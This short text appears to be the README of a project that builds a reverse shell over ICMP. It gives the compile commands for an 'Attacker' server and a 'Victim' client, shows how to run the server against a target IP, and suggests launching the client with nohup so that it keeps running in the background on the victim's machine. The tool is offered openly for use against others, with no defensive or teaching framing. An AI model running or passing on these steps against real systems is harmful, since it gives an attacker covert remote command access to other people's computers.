Hi, hope you are doing well, this project is about reverse shell using icmp, here is how it can be used
FIrstly, compile it in your machine
Attacker:
gcc server.c -o server -pthread
Victim:
gcc client.c -o client -pthread
./server <target-ip>
./server 192.168.1.9
./client
You can use nohup to put the process in background
nohup ./client &
Be happy.